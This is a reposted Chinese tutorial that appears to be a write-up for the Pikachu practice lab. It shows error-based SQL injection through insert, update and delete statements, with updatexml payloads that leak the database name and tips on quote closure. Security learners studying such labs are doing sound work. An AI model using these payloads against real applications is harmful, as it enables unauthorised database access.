欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > 能源 > Pikachu-Sql Inject-insert/update/delete注入

Pikachu-Sql Inject-insert/update/delete注入

2024/10/25 21:16:16 来源:https://blog.csdn.net/guanrongl/article/details/142695863  浏览:    关键词:Pikachu-Sql Inject-insert/update/delete注入

insert 注入

插入语句

insert into tables values(value1,value2,value3);
如:插入用户表
insert into users (id,name,password) values ('id','username','password');

当点击注册

先判断是否有SQL注入漏洞,经过判断之后发现存在SQL漏洞。构造insert的payload。

insert into users (id,name,password) values ('1'or updatexml(1,concat(0x7e,database()),0),'username','password');//为了使得左右符号闭合,所以构造的输入payload 是
name' or updatexml(1,concat(0x7e,database()),0) or '

由于插入id 这里有个or 的或运算,所以会执行 updatexml 方法,实现报错注入。

同理,update 注入

update的 SQL语句

update users set passowrd='pass' ;//构造update 注入语句:注意闭合
update users set passowrd='pass' or updatexml(1,concat(0x7e,database()),0) ;

如构造输入payload

aa' or updatexml(1,concat(0x7e,database()),0) or '

提交,获得数据库名;

基于delete 的报错注入

delete from users where username = 'username' ;//构造delete 注入语句:注意闭合
delete from users where username = 'username' or updatexml(1,concat(0x7e,database()),0) or '' ;//字符型
1' or updatexml(1,concat(0x7e,database()),0) or ' 
//数字型
1 or updatexml(1,concat(0x7e,database()),0) 

得到 delete 注入结果

总结:要注意开头部分的and和or,and不行那就改用or,或者用替换符&&(and)和||(or),其次是闭合的方式不只有#和--+,还有or' 

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com